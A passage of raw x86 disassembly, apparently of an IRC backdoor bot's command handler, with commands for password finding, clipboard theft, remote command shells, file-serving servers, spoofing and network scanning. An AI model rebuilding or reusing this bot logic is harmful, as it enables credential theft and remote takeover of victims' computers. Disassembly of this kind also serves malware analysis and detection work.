		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2680A92h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
